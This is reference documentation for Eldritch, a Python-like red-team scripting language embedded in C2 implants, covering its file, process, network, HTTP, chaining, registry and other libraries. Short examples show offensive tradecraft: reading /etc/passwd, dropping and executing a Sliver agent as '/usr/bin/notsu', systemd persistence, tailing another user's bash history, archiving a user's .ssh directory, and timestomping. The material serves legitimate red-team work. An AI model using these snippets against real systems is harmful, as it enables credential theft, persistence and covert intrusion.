Overview
Eldritch is a Pythonic red team Domain Specific Language (DSL) based on starlark. It uses and supports most python syntax and basic functionality such as list comprehension, string operations (lower(), join(), replace(), etc.), and built-in methods (any(), dir(), hex(), sorted(), etc.). For more details on the supported functionality not listed here, please consult the Starlark Spec Reference, but for the most part you can treat this like basic Python with extra red team functionality.
Eldritch is a small interpreter that can be embedded into a c2 agent as it is with Golem and Imix. By embedding the interpreter into the agent conditional logic can be quickly evaluated without requiring multiple callbacks.
Trying to create a tome? Check out the guide in Golem, or test expressions directly in your browser with the Interactive Eldritch REPL.
Examples
Kill a specific process name
for p in process.list():
if p['name'] == "golem":
process.kill(p['pid'])
Copy your current executable somewhere else
cur_bin_path = process.info()['exe']
dest_path = '/tmp/win'
file.copy(cur_bin_path, dest_path)
file.remove(cur_bin_path)
Parse a JSON file
json_str = str(file.read("/tmp/config.json"))
config_data = json.decode(json_str)
print(config_data['key1'])
Data types
Eldritch currently only supports the default starlark data types.
Error handling
Eldritch doesn’t implement any form of error handling. If a function fails it will stop the tome from completing execution. There is no way to recover after a function has errored.
If you’re using a function that has a chance to error (functions that do file / network IO) test preemptively with function like is_file, is_dir, is_windows, etc.
For example:
def read_passwd():
if sys.is_linux():
if file.is_file("/etc/passwd"):
print(str(file.read("/etc/passwd")))
read_passwd()
def write_systemd_service():
if sys.is_linux():
if file.is_dir("/lib/systemd/system/"):
service_args = {
"name":"my-service",
"desc":"A test",
"binary_path":"/bin/false",
}
assets.copy("systemd-template.j2", "/tmp/systemd-template.j2")
template.render_file("/tmp/systemd-template.j2","/lib/systemd/system/myservice.service",args,False)
file.remove("/tmp/systemd-template.j2")
write_systemd_service()
Built-Ins
abs
abs(x) -> Int | Float
The abs method returns the absolute value of a number.
all
all(iterable) -> Bool
The all method returns True if all elements of the iterable are true (or if the iterable is empty).
any
any(iterable) -> Bool
The any method returns True if any element of the iterable is true. If the iterable is empty, return False.
assert
assert(condition) -> None
The assert method aborts execution if the condition is false.
assert_eq
assert_eq(a, b) -> None
The assert_eq method aborts execution if a is not equal to b.
bool
bool(x) -> Bool
The bool method converts a value to a Boolean. Returns True when the argument x is true, False otherwise.
bytes
bytes(source) -> Bytes
The bytes method creates a bytes object.
- If source is an integer, the array will have that size and will be initialized with null bytes.
- If source is a string, it will be converted using UTF-8 encoding.
- If source is already a bytes object, it is returned directly.
- If source is an iterable, it must be an iterable of integers in the range 0 <= x < 256.
Bytes objects also support .decode(encoding: Optional<str> = "utf8") -> str for decoding "utf8" (default) or "utf16le" bytes into a string (e.g. b"data".decode("utf16le")).
chr
chr(i) -> Str
The chr method returns the string representing a character whose Unicode code point is the integer i.
dict
dict(**kwargs) -> Dict
dict(iterable, **kwargs) -> Dict
The dict method creates a new dictionary.
dir
dir([object]) -> List<str>
The dir method returns a list of valid attributes for the object. Without arguments, return the list of names in the current local scope.
enumerate
enumerate(iterable, start=0) -> List<Tuple>
The enumerate method returns a list of tuples containing (index, value) pairs.
eprint
eprint(*args) -> None
The eprint method prints objects to the standard error output, separated by spaces.
fail
fail(message) -> None
The fail method aborts execution with an error message.
filter
filter(function, iterable) -> List
The filter method constructs a list from those elements of iterable for which function returns true. If function is None, the identity function is assumed.
float
float(x) -> Float
The float method converts a number or string to a floating point number.
hex
hex(x) -> Str
The hex method converts an integer number to a lowercase hexadecimal string prefixed with “0x”.
int
int(x, base=10) -> Int
The int method converts a number or string to an integer.
len
len(s) -> Int
The len method returns the length of an object. The argument may be a sequence (such as a string, bytes, tuple, list, or range) or a collection (such as a dictionary or set).
libs
libs() -> List<str>
The libs method lists all registered libraries.
list
list([iterable]) -> List
The list method creates a list.
map
map(function, iterable) -> List
The map method applies function to every item of iterable and returns a list of the results.
max
max(iterable, *args) -> Any
The max method returns the largest item in an iterable or the largest of two or more arguments.
min
min(iterable, *args) -> Any
The min method returns the smallest item in an iterable or the smallest of two or more arguments.
ord
ord(c) -> Int
The ord method returns an integer representing the Unicode code point of that character.
pprint
pprint(object, indent=2) -> None
The pprint method pretty-prints an object.
print(*args) -> None
The print method prints objects to the standard output, separated by spaces.
range
range(stop) -> List<Int>
range(start, stop[, step]) -> List<Int>
The range method returns a list of arithmetic progressions.
reduce
reduce(function, iterable[, initializer]) -> Any
The reduce method applies a function of two arguments cumulatively to the items of a sequence, from left to right, so as to reduce the sequence to a single value.
repr
repr(object) -> Str
The repr method returns a string containing a printable representation of an object.
reversed
reversed(seq) -> List
The reversed method returns a list with the elements of the sequence in reverse order.
set
set([iterable]) -> Set
The set method creates a new set object.
sorted
sorted(iterable, *, key=None, reverse=False) -> List
The sorted method returns a new sorted list from the items in iterable.
str
str(object) -> Str
The str method returns a string containing a nicely printable representation of an object. If object is a Bytes value, it is decoded using default UTF-8 encoding.
Strings also support .encode(encoding: Optional<str> = "utf8") -> Bytes for encoding into "utf8" (default) or "utf16le" bytes (e.g. "data".encode() or "data".encode("utf16le")).
tprint
tprint(list_of_dicts) -> None
The tprint method prints a list of dictionaries as a markdown table.
tuple
tuple([iterable]) -> Tuple
The tuple method creates a tuple.
type
type(object) -> Str
The type method returns the type of the object.
zip
zip(*iterables) -> List<Tuple>
The zip method returns a list of tuples, where the i-th tuple contains the i-th element from each of the argument sequences or iterables.
Standard Library
The standard library is the default functionality that eldritch provides. It contains the following libraries:
aes- Used to encrypt and decrypt data and files with AES.agent- Used for meta-style interactions with the agent itself.assets- Used to interact with files stored natively in the agent.base64- Used to encode and decode base64 data.chain- Used for multi-agent C2 chaining.dns- Used to perform DNS lookups.file- Used to interact with files on the system.gzip- Used to compress and decompress data and files using gzip.hash- Used to calculate hashes of data and files.http- Used to make http(s) requests from the agent.json- Used to encode, decode, and validate JSON data.linux- Linux-specific system operations (such asuname).net- Network interface enumeration, connection listing, and TCP/UDP connections.portal- Used to open bi-directional portal streams.process- Used to interact with processes on the system.random- Used to generate cryptographically secure random values.regex- Regular expression capabilities for operating on strings.report- Structured data reporting capabilities.scan- Network scanning capabilities (arp,ports).ssh- Remote execution, file copy, and deployment over SSH.sys- General system capabilities such as OS info and command execution.template- Renders Jinja2 templates from strings and files.time- General functions for obtaining and formatting time, also add delays into code.user- User account enumeration and current user inspection.windows- Windows-specific operations (DLL injection/reflection, registry, token manipulation).
🚨 DANGER 🚨: Name shadowing
Do not use the standard library names as local variables as it will prevent you from accessing library functions. For example, if you do:
for file in file.list("/home/"):
print(file["file_name"])
The file library will become inaccessible.
It may even raise an error: error: Local variable 'file' referenced before assignment
Instead we recommend using more descriptive names like:
for user_home_dir in file.list("/home/"):
print(user_home_dir["file_name"])
AES
The aes library provides AES encryption and decryption functions for raw bytes and files.
aes.decrypt
aes.decrypt(key: Bytes, iv: Bytes, data: Bytes) -> Bytes
The aes.decrypt method decrypts the given data using the given key and IV (AES CBC).
aes.decrypt_file
aes.decrypt_file(src: str, dst: str, key: str) -> None
The aes.decrypt_file method decrypts the given src file using the given key and writes it to disk at the dst location.
Key must be 16 Bytes (Characters)
aes.encrypt
aes.encrypt(key: Bytes, iv: Bytes, data: Bytes) -> Bytes
The aes.encrypt method encrypts the given data using the given key and IV (AES CBC).
aes.encrypt_file
aes.encrypt_file(src: str, dst: str, key: str) -> None
The aes.encrypt_file method encrypts the given src file using the given key and writes it to disk at the dst location.
Key must be 16 Bytes (Characters)
Agent
The agent library provides functions for meta-style interactions with the agent itself. It allows you to inspect its configuration, check transport details, or list and manage background tasks.
agent._terminate_this_process_clowntown
agent._terminate_this_process_clowntown() -> None
🚨 DANGER 🚨: The agent._terminate_this_process_clowntown method terminates the agent process immediately by calling std::process::exit(0). This effectively kills the agent and should be used with extreme caution. This function does not return as the process exits.
agent.config
agent.config() -> Dict<str, Value>
The agent.config method returns the current configuration of the agent as a dictionary containing configuration keys and values. This method will error if the configuration cannot be retrieved.
agent.transport
agent.transport() -> str
The agent.transport method returns the name of the currently active transport (e.g., “http”, “grpc”, “dns”).
agent.list_transports
agent.list_transports() -> List<str>
The agent.list_transports method returns a list of available transport names supported by the agent.
agent.callback_interval
agent.callback_interval() -> int
The agent.callback_interval method returns the current callback interval in seconds.
agent.list_tasks
agent.list_tasks() -> List<Dict>
The agent.list_tasks method returns a list of dictionaries representing the currently running or queued background tasks on the agent. Each dictionary contains task metadata and status.
>>> agent.list_tasks()
[{"id": 42949672964, "quest_name": "The Nightmare of the Netherworld Nexus"}]
agent.stop_task
agent.stop_task(task_id: int) -> None
The agent.stop_task method stops a specific background task by its ID. If the task cannot be stopped or does not exist, the method will error.
agent.set_callback_interval
agent.set_callback_interval(new_interval: int) -> None
The agent.set_callback_interval method takes an unsigned int and changes the running agent’s callback interval to the passed value as seconds. This configuration change will not persist across agent reboots.
agent.set_callback_uri
agent.set_callback_uri(new_uri: str) -> None
The agent.set_callback_uri method takes an string and changes the
running agent’s callback URI to the passed value. This configuration change will
not persist across agent reboots. NOTE: please ensure the passed URI path is correct
for the underlying Transport being used, as a URI can take many forms and we make no
assumptions on Transport requirements no checks are applied to the passed string.
Assets
The assets library is used to interact with embedded files stored natively within the agent. It provides capabilities to list, read, or extract these files to disk for further execution or deployment.
assets.copy
assets.copy(src: str, dst: str) -> None
The assets.copy method copies an embedded file from the agent to disk.
The src variable will be the path from the embed_files_golem_prod as the root dir.
For example embed_files_golem_prod/sliver/agent-x64 can be referenced as sliver/agent-x64.
If dst exists it will be overwritten. If it doesn’t exist the function will fail.
def deploy_agent():
if file.is_dir("/usr/bin"):
assets.copy("sliver/agent-x64","/usr/bin/notsu")
sys.exec("/usr/bin/notsu",[],true)
deploy_agent()
assets.list
assets.list() -> List<str>
The assets.list method returns a list of asset names that the agent is aware of.
assets.read
assets.read(src: str) -> Bytes
The assets.read method returns a Bytes object containing the raw bytes of the embedded asset file. Use str(assets.read(src)) or assets.read(src).decode() to decode text assets as UTF-8.
Base64
The base64 library provides base64 encoding and decoding operations.
base64.decode
base64.decode(content: str, decode_type: Optional<str>) -> Bytes
The base64.decode method decodes the given base64 text into bytes using the given base64 decoding method. Valid methods include:
- STANDARD (default)
- STANDARD_NO_PAD
- URL_SAFE
- URL_SAFE_NO_PAD
base64.encode
base64.encode(content: str, encode_type: Optional<str>) -> str
The base64.encode method encodes the given text using the given base64 encoding method. Valid methods include:
- STANDARD (default)
- STANDARD_NO_PAD
- URL_SAFE
- URL_SAFE_NO_PAD
Chain
The chain library enables multi-agent chaining by allowing one agent (Agent A) to proxy C2 traffic for another agent (Agent B). This is useful for establishing communication through intermediary agents in restricted networks.
chain.tcp
chain.tcp(addr: str) -> int
The chain.tcp method establishes a chain proxy over TCP, allowing Agent A to forward C2 messages to/from Agent B. Agent A connects to Agent B’s bind TCP transport listener at the specified address and proxies gRPC traffic over HTTP/2.
Parameters:
addr: The address and port where Agent B is listening for chain connections (e.g.,"192.168.1.100:8443")
Returns:
0on successful initialization (the proxy runs asynchronously in the background)
Example:
# Agent A connects to Agent B's bind TCP listener and starts proxying traffic
chain.tcp("192.168.1.100:8443")
# Now Agent B's C2 messages flow through Agent A to Tavern
Usage Pattern:
Agent A must have one of the standard transports (grpc, http1, dns) configured for its upstream connection to Tavern. Agent B is configured with a TCP bind transport to accept connections from Agent A on a TCP port.
DNS
The dns library enables DNS lookups within Eldritch scripts.
dns.list
dns.list(domain: str, kind: Option<str>, nameserver: Option<str>) -> List<str>
The dns.list method resolves the given domain name to the specified DNS record type.
It natively supports querying A, AAAA, CNAME, TXT, MX, SOA, NS, PTR, AXFR, and SRV records. If kind is not provided, it defaults to “A”.
An optional nameserver IP (e.g. “8.8.8.8”) can be provided to query a specific DNS server instead of the system default.
# Default to "A" records using system nameserver
ips = dns.list("google.com")
print(ips) # Output: ["142.251.41.14", ...]
# Fetch a CNAME explicitly
cnames = dns.list("www.google.com", kind="CNAME")
print(cnames)
# Custom nameserver
cloudflare_ips = dns.list("google.com", nameserver="1.1.1.1")
print(cloudflare_ips)
File
The file library gives you comprehensive control to interact with files and directories on the host system. It includes methods for reading, writing, moving, and copying files, as well as searching, locating binaries (which), and timestomping.
file.append
file.append(path: str, content: Bytes | str) -> None
The file.append method appends content (Bytes or str) to the file at path. If no file exists at path, it will create the file with the content.
file.copy
file.copy(src: str, dst: str) -> None
The file.copy method copies a file from src path to dst path. If dst file doesn’t exist it will be created.
file.exists
file.exists(path: str) -> bool
The file.exists method checks if a file or directory exists at the path specified.
file.follow
file.follow(path: str, fn: function(str)) -> None
The file.follow method will call fn(line) for any new line that is added to the file (such as from bash_history and other logs).
# Print every line added to bob's bash history
file.follow('/home/bob/.bash_history', print)
file.is_dir
file.is_dir(path: str) -> bool
The file.is_dir method checks if a path exists and is a directory. If it doesn’t exist or is not a directory it will return False.
file.is_file
file.is_file(path: str) -> bool
The file.is_file method checks if a path exists and is a file. If it doesn’t exist or is not a file it will return False.
file.list
file.list(path: str) -> List<Dict>
The file.list method returns a list of files at the specified path. The path is relative to your current working directory and can be traversed with ../.
This function also supports globbing with * for example:
file.list("/home/*/.bash_history") # List all files called .bash_history in sub dirs of `/home/`
file.list("/etc/*ssh*") # List the contents of all dirs that have `ssh` in the name and all files in etc with `ssh` in the name
file.list("\\\\127.0.0.1\\c$\\Windows\\*.yml") # List files over UNC paths
Here is a code snippet example, along with its output.
Each file is returned as a Dict with their respective information. Note that the directory itself (in this example, /tmp/some_dir) will also be listed with the respective information.
print(file.list("/tmp/some_dir"))
NOTE: On systems without a specific time field being tracked, the field is omitted. This means, for example, unix systems with noatime set will not have an accessed field visible in the times sub-Dict.
[
{
"absolute_path": "/tmp/some_dir",
"file_name": "some_dir",
"group": "root",
"modified": "2026-07-12 18:17:39 UTC",
"owner": "root",
"permissions": "40775",
"size": 80,
"times": {
"accessed": 1783880431,
"changed": 1783880259, // changed is Unix-only (ctime)
"created": 1783880259,
"modified": 1783880259
},
"type": "dir"
},
{
"absolute_path": "/tmp/some_dir/some_file",
"file_name": "some_file",
"group": "root",
"modified": "2026-07-12 18:17:39 UTC",
"owner": "root",
"permissions": "100664",
"size": 5,
"times": {
"accessed": -2208988800, // negative epoch, represents 2208988800 seconds before Jan 1 1970
"changed": 1783880431,
"created": 1783880259,
"modified": -2208988800
},
"type": "file"
},
{
"absolute_path": "/tmp/some_dir/some_other_dir",
"file_name": "some_other_dir",
"group": "root",
"modified": "1900-01-01 00:00:00 UTC",
"owner": "root",
"permissions": "40775",
"size": 40,
"times": {
"accessed": 1783880259,
"changed": 1783880259,
"created": 1783880259,
"modified": 1783880259
},
"type": "dir"
}
]
file.list_named_pipes
file.list_named_pipes(detailed: Optional<bool> = False) -> List<str> | List<Dict>
The file.list_named_pipes method enumerates all named pipes on the system.
On Windows, enumerates the \\.\pipe\ namespace. With detailed=True, opens each pipe to query instance count and max instances via GetNamedPipeHandleState/GetNamedPipeInfo.
On Unix (Linux, macOS, BSD), scans /tmp, /var/run, /var/tmp, /run for FIFOs. On Linux additionally scans /proc/*/fd for pipe:[inode] entries. detailed param is ignored on Unix.
# Simple list of pipe names
pipes = file.list_named_pipes()
for pipe in pipes:
print(pipe)
# Detailed list with instance info (Windows only)
pipes = file.list_named_pipes(detailed=True)
for pipe in pipes:
print(f"{pipe['name']}: {pipe['instances']}/{pipe['max_instances']}")
Detailed mode dict fields:
name(str): Pipe nameinstances(int or str): Current instance count, or"ACCESS_DENIED"if pipe couldn’t be openedmax_instances(int or str): Maximum instances,"UNLIMITED","UNKNOWN", or"ACCESS_DENIED"
| OS | Supported |
|---|---|
| Windows | Yes (detailed + simple) |
| Linux | Yes (simple only) |
| macOS | Yes (FIFOs only, simple) |
| BSD | Yes (FIFOs only, simple) |
file.list_recent
file.list_recent(path: str, limit: int) -> List<str>
The file.list_recent method returns a list of file paths in the specified directory, sorted by most recent modification time. The scan is recursive.
path: The directory to scan. Defaults to/.limit: The maximum number of files to return. Defaults to10.
# Get the 5 most recently modified files in /var/log
recent_logs = file.list_recent("/var/log", 5)
for log in recent_logs:
print(log)
file.mkdir
file.mkdir(path: str, parent: Option<bool>) -> None
The file.mkdir method will make a new directory at path. If the parent directory does not exist or the directory cannot be created, it will error; unless the parent parameter is passed as True.
file.move
file.move(src: str, dst: str) -> None
The file.move method moves a file or directory from src to dst. If the dst directory or file exists it will be deleted before being replaced to ensure consistency across systems.
file.parent_dir
file.parent_dir(path: str) -> str
The file.parent_dir method returns the parent directory of a give path. Eg /etc/ssh/sshd_config -> /etc/ssh
file.read
file.read(path: str) -> Bytes
The file.read method will read the contents of a file, returning a Bytes object. If the file or directory doesn’t exist the method will error to avoid this ensure the file exists, and you have permission to read it.
This function supports globbing with * for example:
file.read("/home/*/.bash_history") # Read all files called .bash_history in sub dirs of `/home/`
file.read("/etc/*ssh*") # Read the contents of all files that have `ssh` in the name. Will error if a dir is found.
file.read("\\\\127.0.0.1\\c$\\Windows\\Temp\\metadata.yml") # Read file over Windows UNC
file.read_named_pipe
file.read_named_pipe(name: str, max_bytes: Optional<int> = None) -> str
The file.read_named_pipe method reads data from a named pipe.
On Windows, name is the pipe name (e.g. "mypipe") which expands to \\.\pipe\mypipe. A full path like \\.\pipe\mypipe is also accepted.
On Unix (Linux, macOS, BSD), name is the full path to a FIFO (e.g. "/tmp/mypipe").
The optional max_bytes parameter limits the number of bytes read. If not specified, reads all available data to EOF. For time-based reads, use chunked reads in a loop:
# Read all data from pipe
data = file.read_named_pipe("mypipe")
# Read up to 1024 bytes
chunk = file.read_named_pipe("/tmp/mypipe", max_bytes=1024)
# Time-based chunked read pattern
result = ""
stop = time.now() + 10
while time.now() < stop:
chunk = file.read_named_pipe("/tmp/mypipe", max_bytes=4096)
if len(chunk) == 0:
break
result = result + chunk
file.remove
file.remove(path: str) -> None
The file.remove method deletes a file or directory (and it’s contents) specified by path.
file.replace
file.replace(path: str, pattern: str, value: str) -> None
The file.replace method finds the first string matching a regex pattern in the specified file and replaces them with the value. Please consult the Rust Regex Docs for more information on pattern matching.
file.replace_all
file.replace_all(path: str, pattern: str, value: str) -> None
The file.replace_all method finds all strings matching a regex pattern in the specified file and replaces them with the value. Please consult the Rust Regex Docs for more information on pattern matching.
file.tmp
file.tmp(name: Option<str>) -> str
The file.tmp method returns the path of a new temporary file with a random filename or the optional filename provided as an argument.
file.tmp_dir
file.tmp_dir() -> str
The file.tmp_dir method creates a temporary directory and returns its absolute path. Operates similar to mktemp -d. The directory persists after the function returns.
file.timestomp
file.timestomp(path: str, mtime: Option<int|str>, atime: Option<int|str>, ctime: Option<int|str>, ref_file: Option<str>) -> None
The file.timestomp method modifies the timestamps of a file. It can use specific timestamps (epoch seconds or string format) or copy timestamps from a reference file.
file.which
file.which(bin: str) -> str
The file.which method returns the resolved path of a binary in PATH. If this binary does not resolve to anything, an empty string is returned.
$> file.which("sh")
"/usr/bin/sh"
$> file.which("some_random_binary_that_doesnt_exist")
""
file.write
file.write(path: str, content: Bytes | str) -> None
The file.write method writes content (Bytes or str) to a given file path.
If a file already exists at this path, the method will overwrite it. If a directory
already exists at the path the method will error.
# Write either strings or bytes (such as from file.read) to a file
file.write("/tmp/hello.txt", "hello world")
data = file.read("/etc/passwd")
file.write("/tmp/passwd_copy", data)
file.find
file.find(path: str, name: Option<str>, file_type: Option<str>, permissions: Option<int>, modified_time: Option<int>, create_time: Option<int>) -> List<str>
The file.find method finds all files matching the used parameters. Returns file path for all matching items.
- name: Checks if file name contains provided input
- file_type: Checks for ‘file’ or ‘dir’ for files or directories, respectively.
- permissions: On UNIX systems, takes numerical input of standard unix permissions (rwxrwxrwx == 777). On Windows, takes 1 or 0, 1 if file is read only.
- modified_time: Checks if last modified time matches input specified in time since EPOCH
- create_time: Checks if last modified time matches input specified in time since EPOCH
Gzip
The gzip library provides gzip compression and decompression for both raw byte arrays and files/directories.
gzip.compress
gzip.compress(data: Bytes) -> Bytes
The gzip.compress method compresses raw bytes using the gzip algorithm and returns the compressed bytes.
gzip.compress_file
gzip.compress_file(src: str, dst: str) -> None
The gzip.compress_file method compresses a file using the gzip algorithm. If the destination file doesn’t exist it will be created. If the source file doesn’t exist an error will be thrown. If the source path is a directory the contents will be placed in a tar archive and then compressed.
gzip.decompress
gzip.decompress(data: Bytes) -> Bytes
The gzip.decompress method decompresses gzip-compressed bytes and returns the decompressed bytes.
gzip.decompress_file
gzip.decompress_file(src: str, dst: str) -> None
The gzip.decompress_file method decompresses a file using the gzip algorithm. If the destination file doesn’t exist it will be created. If the source file doesn’t exist an error will be thrown. If the output path is a tar archive, the contents will be extracted to a directory at the dst path. Note the original directory will also be added to the new directory.
gzip.compress_file('/home/bob/.ssh', '/tmp/bob_ssh.tar.gz')
gzip.decompress_file('/tmp/bob_ssh.tar.gz', '/tmp/bob_ssh_output')
# Files will exist in /tmp/bob_ssh_output/.ssh/*
Hash
The hash library provides cryptographic hashing functions for raw bytes and files.
hash.file
hash.file(file: str, algo: Optional<str>) -> str
The hash.file method will produce the hash of the given file’s contents. Valid algorithms include:
- MD5
- SHA1
- SHA256 (default)
- SHA512
hash.md5
hash.md5(data: Bytes) -> str
The hash.md5 method calculates the MD5 hash of the provided data.
hash.sha1
hash.sha1(data: Bytes) -> str
The hash.sha1 method calculates the SHA1 hash of the provided data.
hash.sha256
hash.sha256(data: Bytes) -> str
The hash.sha256 method calculates the SHA256 hash of the provided data.
HTTP
The http library allows the agent to send HTTP and HTTPS requests over the network. You can download files, submit form data, or interact with external REST APIs directly from the agent.
The HTTP library also allows the user to allow the http client to ignore TLS validation via the allow_insecure optional parameter (defaults to false).
http.download
http.download(uri: str, dst: str, allow_insecure: Option<bool>) -> None
The http.download method downloads a file at the URI specified in uri to the path specified in dst. If a file already exists at that location, it will be overwritten.
http.get
http.get(uri: str, query_params: Option<Dict<str, str>>, headers: Option<Dict<str, str>>, allow_insecure: Option<bool>) -> str
The http.get method sends an HTTP GET request to the URI specified in uri with the optional query parameters specified in query_params and headers specified in headers, then return the response body as a string. Note: in order to conform with HTTP2+ all header names are transmuted to lowercase.
http.post
http.post(uri: str, body: Option<str>, form: Option<Dict<str, str>>, headers: Option<Dict<str, str>>, allow_insecure: Option<bool>) -> str
The http.post method sends an HTTP POST request to the URI specified in uri with the optional request body specified by body, form parameters specified in form, and headers specified in headers, then return the response body as a string. Note: in order to conform with HTTP2+ all header names are transmuted to lowercase. Other Note: if a body and a form are supplied the value of body will be used.
JSON
The json library provides JSON serialization, deserialization, and validation.
json.decode
json.decode(content: str) -> Value
The json.decode method converts JSON text to an object of the corresponding Eldritch type.
json.decode("{\"foo\":\"bar\"}")
{
"foo": "bar"
}
json.encode
json.encode(content: Value) -> str
The json.encode method converts the given value to JSON text.
json.encode({"foo": "bar"})
"{\"foo\":\"bar\"}"
json.is_valid
json.is_valid(content: str) -> bool
The json.is_valid method tests if a string is valid JSON.
json.is_valid("{\"foo\":\"bar\"}")
True
json.is_valid("foobar")
False
Linux
The linux library provides Linux-specific system operations.
linux.uname
linux.uname() -> Dict
The linux.uname method calls the Linux uname syscall and returns a dictionary of available kernel and machine metadata (sysname, nodename, release, version, machine, domainname).
{
"domainname": "(none)",
"machine": "x86_64",
"nodename": "host01",
"release": "6.1.0-18-amd64",
"sysname": "Linux",
"version": "#1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01)"
}
Net
The net library provides network interface enumeration, listening socket inspection, and raw TCP/UDP client communication.
net.interfaces
net.interfaces() -> List<Dict>
The net.interfaces method returns a list of network interfaces as dictionaries. An example is available below:
[
{
"name": "lo0",
"ip": "127.0.0.1"
},
{
"name": "lo0",
"ip": "::1"
},
{
"name": "en0",
"ip": "fd5f:a709:7357:f34d:c8f:9bc8:ba40:db15"
},
{
"name": "en0",
"ip": "10.0.124.42"
}
]
net.conns
net.conns() -> List<Dict>
The net.conns method returns all information on TCP, UDP, and Unix sockets on the system. Will also return PID and Process Name of attached process, if one exists.
Currently only shows LISTENING TCP connections
[
{
"socket_type": "TCP",
"local_address": "127.0.0.1",
"local_port": 46341,
"pid": 2359037
},
...
]
net.tcp
net.tcp(address: str, port: int, data: str) -> str
The net.tcp method allows a user to send arbitrary data over TCP to a host. If the server responds, that response will be returned.
net.udp
net.udp(address: str, port: int, data: str) -> str
The net.udp method allows a user to send arbitrary data over UDP to a host. If the server responds, that response will be returned.
Portal
The portal library provides bi-directional portal streams for proxying traffic through an agent.
portal.create
portal.create() -> None
The portal.create method opens a portal bi-directional stream.
Process
The process library is used to interact with running processes on the local system. It provides functionalities to list processes, gather detailed information, inspect process IDs and environment variables, or terminate specific processes.
process.cwd
process.cwd() -> Option<str>
The process.cwd method returns the current working directory of the process. If it could not be determined, None is returned.
process.env
process.env() -> Dict
The process.env method returns a dictionary that describes the current process’s environment variables. An example is below:
{
"FOO": "BAR",
"CWD": "/"
}
process.info
process.info(pid: Optional<int>) -> Dict
The process.info method returns all information on a given process ID. Default is the current process.
{
"pid": 1286574,
"name": "golem",
"cmd": [
"./target/debug/golem",
"-i"
],
"exe": "/home/user/realm/implants/target/debug/golem",
"environ": {
"USER": "user",
"HOME": "/home/user",
"PATH": "/home/user/.cargo/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/snap/bin:/home/user/.dotnet/tools",
"SHELL": "/bin/zsh",
"TERM": "xterm-256color",
"SSH_TTY": "/dev/pts/0",
"SHLVL": "1",
"PWD": "/home/user",
"OLDPWD": "/home/user",
"XDG_DATA_DIRS": "/usr/local/share:/usr/share:/var/lib/snapd/desktop",
"P9K_TTY": "old",
"_P9K_TTY": "/dev/pts/0",
"ZSH": "/home/user/.oh-my-zsh",
},
"cwd": "/home/user/realm/implants",
"root": "/",
"memory_usage": 32317440,
"virtual_memory_usage": 1712074752,
"ppid": 1180405,
"status": "Sleeping",
"start_time": 1698106833,
"run_time": 2,
"uid": 1000,
"euid": 1000,
"gid": 1000,
"egid": 1000,
"sid": 1180405
}
process.kill
process.kill(pid: int) -> None
The process.kill method will kill a process using the KILL signal given its process id.
process.list
process.list(include_env: Optional<bool>) -> List<Dict>
The process.list method returns a list of dictionaries that describe each process. The dictionaries follow the schema:
{
"pid": "9812",
"ppid": "1",
"status": "Sleeping",
"name": "golem",
"path": "/usr/bin/golem",
"username": "root",
"command": "/usr/bin/golem -i",
"cwd": "/root/",
"environ": "CARGO_PKG_REPOSITORY= CARGO_PKG_RUST_VERSION= CARGO_PKG_VERSION=0.1.0 CARGO_PKG_VERSION_MAJOR=0",
}
The include_env parameter is an optional boolean (default False). When True, the environ field is included in each process dictionary. When False or omitted, the environ field is omitted.
process.name
process.name(pid: int) -> str
The process.name method returns the name of the process from its given process ID.
process.pid
process.pid() -> int
The process.pid method returns the process ID of the current process. An example is below:
$> process.pid()
123456
Random
The random library is designed to enable generation of cryptographically secure random values without blocking execution. It allows you to create random booleans, integers, bytes, strings, and UUIDs.
random.bool
random.bool() -> bool
The random.bool method returns a randomly sourced boolean value.
random.bytes
random.bytes(len: int) -> List<int>
The random.bytes method returns a list of randomly generated bytes.
random.int
random.int(min: i32, max: i32) -> i32
The random.int method returns randomly generated integer value between a specified range. The range is inclusive on the minimum and exclusive on the maximum.
random.string
random.string(length: uint, charset: Optional<str>) -> str
The random.string method returns a randomly generated string of the specified length. If charset is not provided defaults to Alphanumeric. Warning, the string is stored entirely in memory so exceptionally large files (multiple megabytes) can lead to performance issues.
random.uuid
random.uuid() -> str
The random.uuid method returns a randomly generated UUID (v4).
Regex
The regex library provides regular expression capabilities for operating on strings. Using Rust’s regex syntax, you can match, extract, or replace substrings within larger text blocks. Be aware as the underlying implementation is written in Rust we rely on the Rust Regex Syntax as talked about here. Further, we only support a single capture group currently, defining more/less than one will cause the tome to error.
regex.match_all
regex.match_all(haystack: str, pattern: str) -> List<str>
The regex.match_all method returns a list of capture group strings that matched the given pattern within the given haystack. Please consult the Rust Regex Docs for more information on pattern matching.
regex.match
regex.match(haystack: str, pattern: str) -> str
The regex.match method returns the first capture group string that matched the given pattern within the given haystack. Please consult the Rust Regex Docs for more information on pattern matching.
regex.replace_all
regex.replace_all(haystack: str, pattern: str, value: string) -> str
The regex.replace_all method returns the given haystack with all the capture group strings that matched the given pattern replaced with the given value. Please consult the Rust Regex Docs for more information on pattern matching.
regex.replace
regex.replace(haystack: str, pattern: str, value: string) -> str
The regex.replace method returns the given haystack with the first capture group string that matched the given pattern replaced with the given value. Please consult the Rust Regex Docs for more information on pattern matching.
Registry
The registry library provides methods to read and write values in the Windows Registry.
registry.read
registry.read(path: str) -> Dict
The registry.read method returns the registry values at the requested registry path. An example is below:
$> registry.read("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion")
{
"ProgramFilesDir": "C:\\Program Files",
"CommonFilesDir": "C:\\Program Files\\Common Files",
"ProgramFilesDir (x86)": "C:\\Program Files (x86)",
"CommonFilesDir (x86)": "C:\\Program Files (x86)\\Common Files",
"CommonW6432Dir": "C:\\Program Files\\Common Files",
"DevicePath": "%SystemRoot%\\inf",
"MediaPathUnexpanded": "%SystemRoot%\\Media",
"ProgramFilesPath": "%ProgramFiles%",
"ProgramW6432Dir": "C:\\Program Files",
"SM_ConfigureProgramsName": "Set Program Access and Defaults",
"SM_GamesName": "Games"
}
registry.write
registry.write(path: str, regname: str, regtype: str, regvalue: any) -> Bool
The registry.write method returns True if registry values are written to the requested registry path. It accepts dynamically-typed values depending on the specific registry type.
An example is below:
$> registry.write("HKCU\\SOFTWARE\\TEST1","FOO1","REG_SZ","BAR1")
True
$> registry.write("HKCU\\SOFTWARE\\TEST1","FOO1","REG_BINARY","deadbeef")
True
$> registry.write("HKCU\\SOFTWARE\\TEST1","FOO1","REG_DWORD",12345678)
True
$> registry.write("HKCU\\SOFTWARE\\TEST1","FOO1","REG_MULTI_SZ","BAR1,BAR2,BAR3")
True
